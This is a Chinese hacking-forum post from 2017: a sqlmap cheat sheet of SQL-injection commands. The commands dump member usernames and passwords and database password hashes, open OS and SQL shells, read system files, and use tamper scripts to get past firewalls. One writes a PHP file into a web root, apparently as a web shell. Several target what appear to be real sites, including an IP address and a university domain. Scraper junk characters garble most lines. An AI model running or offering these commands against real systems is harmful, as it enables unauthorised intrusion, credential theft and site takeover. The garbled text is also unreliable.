找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1702|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/pentest/database/sqlmap
# G# v/ r  f* M+ D$ V
. Q# w5 v. p" M2 vupdate :::::>     in the folder   after  execute    following   order : svn update' ]7 k. [7 {0 G. G
9 T/ i) `3 ?) z
sqlmap.py -r 1.txt --current-db1 S) u" k* }3 f/ c
. h" `, h! P) i6 W' V5 a1 X
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
, V8 [4 @* |2 D: A% s1 b! w( I6 O2 F3 v
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
. f. L4 I# ^& T8 O7 J4 R/ q猜解数据库8 @+ e" e/ G8 `* {+ p4 M
./sqlmap.py -u "injection-url" --dbs) ?4 A0 k7 X( X. q
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
* Q  A/ N3 [# H& D8 o7 c. ~0 P8 v  {0 Z" h, X
猜解表名
3 ?* L0 P; ?: H5 e  \1 ^$ v1 P5 {./sqlmap.py -u "injection-url" -D database_name --tables* W) e9 ?2 g) |

! o/ P! ]1 L/ {: c) O$ [% Y* zsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
& i+ s# n3 \5 z5 Xsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
3 {& K; C" I! J$ V8 w1 \
- @% {7 J( ^& y4 P9 {sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
3 G8 x2 C, Q# E4 [8 d! L* n$ _. {
* p4 b: y9 y! ^' M2 C+ Q/ Fsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
. c& ?' q8 p5 lsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"* z  V2 ^4 `/ o- O0 p0 D
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" , _$ Z: _+ x& `! t, ~- d
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
* {3 @. d8 d! Q% T( ]# Y
1 @/ L+ S2 |* \) h4 n" b7 ksqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
8 f  \9 ]2 f5 c0 _& S) u. b; r8 Y. {sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
/ }& z( |5 H  g3 w) asqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
* @6 |* O8 {% W  L- j2 ~sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"( @' {7 T6 [9 q+ ]0 B
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
& S9 {5 [- M5 z; K6 k, z% r7 q( H# k. S1 y2 t
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了/ s$ f* J( h: `: n* X% j: h
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py": `1 {7 [5 Y- ~+ p  N( w
" y& ?' J6 ~* P2 g4 T$ e8 C& `0 x1 i- ^
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"& @  I. u5 R" m( G9 k! ^5 H; L
猜解列名* b6 [- ?* k3 ?1 U
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
' M& H5 D- }8 U3 O7 @+ q, w% k; k1 s9 P: A$ `0 E" L. x: \' x% `
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 7 b! q" G: I" q
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
* ^3 e3 C  D& J; T- Zsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
: U: W  ^4 L) Y! E9 L# p  Q4 }3 |2 x! x$ w# u0 _; c3 s+ W! H
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
6 y& `$ [" m+ y&submit=Go: D/ I) v' [% H" A1 S( r+ i
猜解值
! G: [: ~5 t, [- }8 C' _0 O% k./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump5 K: w' x( D. W* F, F& b, Q% x% d- `
========================================================* ^, ?4 P" ]0 \) \: Q9 {* l- V0 f
搜索表名中包括mana字符的0 o$ F7 x% \; a& G: m' Y( t; c
/sqlmap.py -u "injection-url" -T mana --search
1 M% B( r& b5 r$ k& j; b返回一个交互式sql shell' z3 h' ?, j6 n) N( s
/sqlmap.py -u "injection-url" --sql-shell
* k/ D# G4 B2 O0 X! T# f读取指定文件(需权限)- w# E9 x: N) _& A
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"; N5 Q% Y9 q" L6 ~, W( j) d, S( S1 V: ~
查看当前 用户 及 数据库 * y! v. P4 B9 r/ W' y: }
/sqlmap.py -u "injection-url" --current-user --current-db& L3 e" M2 k  Y: l( E
本地文件 写入 远程目标绝对路径/ Z. C6 L$ {" _0 a
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径0 B! Z  }+ R0 P' ~6 }0 y
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
$ `1 G: F! ?5 A5 _( }" K8 ]
. G5 y: C% `$ K6 V+ W0 R5 O# Esqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
+ i" C/ k3 L0 e2 N; R查看某用的权限" o4 G$ V( t9 D7 [+ y; f+ C
/sqlmap.py -u "injection-url" --privileges -U root! Y* l# b' |7 B& `* t& u$ |
查看当前用户是否为dba
3 g$ K0 h: Y3 `5 Q/sqlmap.py -u "injection-url" --is-dba
5 i5 P# \, w/ X; j# n读取所有数据库用户或指定数据库用户的密码
- S% O9 ]/ I! x) gsqlmap.py -r 1.txt --users --passwords
' s) P- A% D! N" t) V0 m9 |; W& e- Hsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
1 W, h6 P. O1 {6 M. L; ~# @) E; t% G
/sqlmap.py -u "injection-url" --passwords -U root* Z; c  V9 C& @' h8 Q1 B  s

* U; |6 }) t6 \0 u--start&&--stop 与 --first&&--last 的区别$ x; l) {* u: n8 u  A2 C: K$ j
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
! e- y: q0 q% i8 [4 J5 j
6 T: s6 M- |# F从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
; r0 v* Y8 N- P: j/ c! r( p/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
, f3 A# k1 H3 M, p- {/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
2 X2 U1 u& C9 g- ?/ r" P" V' Y$ O/ P) J7 J" f* N( f
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
  k+ h6 M  w& j* V$ M2 C/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip", O( |) M$ Q. d" v
$ [  f: H0 i1 k8 ~: }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表